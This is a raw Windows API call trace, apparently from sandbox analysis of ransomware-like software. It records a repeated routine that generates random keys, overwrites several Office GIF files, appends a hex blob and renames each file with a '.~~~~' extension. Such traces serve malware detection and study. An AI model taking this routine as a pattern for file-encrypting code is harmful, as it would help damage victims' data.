	[0130.161] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25015306760) returned 1
	[0130.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb7073170, dwHighDateTime=0x1d60e1e)) 
	[0130.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822bf8
	[0130.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822bf8 | out: hHeap=0x300000) returned 1
	[0130.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2730
	[0130.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.164] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.164] GetLastError () returned 0x0
	[0130.164] GetLastError () returned 0x0
	[0130.164] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.164] GetLastError () returned 0x0
	[0130.165] GetLastError () returned 0x0
	[0130.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffee2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.171] WriteFile (in: hFile=0x114, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x11e, lpOverlapped=0x0) returned 1
	[0130.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0130.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.172] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.173] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.173] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.173] CloseHandle (hObject=0x114) returned 1
	[0130.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.173] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21318_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21318_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21318_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21318_.gif.~~~~")) returned 1
	[0130.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.174] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.174] GetLastError () returned 0x0
	[0130.175] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.176] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.176] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.176] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25016629122) returned 1
	[0130.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb70992d0, dwHighDateTime=0x1d60e1e)) 
	[0130.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822c68
	[0130.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822c68 | out: hHeap=0x300000) returned 1
	[0130.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2860
	[0130.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.177] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.177] GetLastError () returned 0x0
	[0130.178] GetLastError () returned 0x0
	[0130.178] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.178] GetLastError () returned 0x0
	[0130.178] GetLastError () returned 0x0
	[0130.180] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff99c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.180] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x664, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x664, lpOverlapped=0x0) returned 1
	[0130.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.182] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.182] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.182] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.182] CloseHandle (hObject=0x114) returned 1
	[0130.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.182] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21320_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21320_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21320_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21320_.gif.~~~~")) returned 1
	[0130.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.184] GetLastError () returned 0x0
	[0130.184] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.185] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.186] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.186] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25017588705) returned 1
	[0130.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb70992d0, dwHighDateTime=0x1d60e1e)) 
	[0130.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822ca0
	[0130.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822ca0 | out: hHeap=0x300000) returned 1
	[0130.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2990
	[0130.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.187] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.187] GetLastError () returned 0x0
	[0130.187] GetLastError () returned 0x0
	[0130.187] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.187] GetLastError () returned 0x0
	[0130.187] GetLastError () returned 0x0
	[0130.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff63b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.189] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x9c5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x9c5, lpOverlapped=0x0) returned 1
	[0130.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.191] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.192] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.192] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.192] CloseHandle (hObject=0x114) returned 1
	[0130.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21321_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21321_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21321_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21321_.gif.~~~~")) returned 1
	[0130.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.194] GetLastError () returned 0x0
	[0130.194] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.195] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.195] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0130.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0130.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0130.196] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25018585590) returned 1
	[0130.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb70bf430, dwHighDateTime=0x1d60e1e)) 
	[0130.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0130.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0130.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0130.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822cd8
	[0130.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0130.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822cd8 | out: hHeap=0x300000) returned 1
	[0130.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0130.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3d28
	[0130.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2a28
	[0130.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.197] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.197] GetLastError () returned 0x0
	[0130.197] GetLastError () returned 0x0
	[0130.197] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.197] GetLastError () returned 0x0
	[0130.197] GetLastError () returned 0x0
	[0130.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffb2d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.200] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4d3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x4d3, lpOverlapped=0x0) returned 1
	[0130.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.202] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.202] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.202] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.202] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.203] CloseHandle (hObject=0x114) returned 1
	[0130.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3d28
	[0130.203] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21322_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21322_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21322_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21322_.gif.~~~~")) returned 1
	[0130.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3d28 | out: hHeap=0x300000) returned 1
	[0130.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0130.205] GetLastError () returned 0x0
	[0130.228] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.229] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0130.230] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0130.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0130.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0130.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0130.230] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25021998684) returned 1
	[0130.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb710b6f0, dwHighDateTime=0x1d60e1e)) 
	[0130.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0130.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0130.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0130.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822bf8
	[0130.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0130.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822bf8 | out: hHeap=0x300000) returned 1
	[0130.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0130.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0130.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0130.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0130.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c2ac0
	[0130.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.231] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0130.231] GetLastError () returned 0x0
	[0130.231] GetLastError () returned 0x0
	[0130.231] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0130.231] GetLastError () returned 0x0
	[0130.231] GetLastError () returned 0x0
	[0130.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffc6b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.233] WriteFile (in: hFile=0x114, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x395, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x395, lpOverlapped=0x0) returned 1
	[0130.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0130.236] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0130.236] WriteFile (in: hFile=0x114, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0130.236] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0130.236] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0130.236] CloseHandle (hObject=0x114) returned 1
	[0130.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0130.236] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21323_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21323_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21323_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21323_.gif.~~~~")) returned 1
	[0130.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0130.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0130.238] GetLastError () returned 0x0
	[0130.238] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0130.239] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0130.239] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
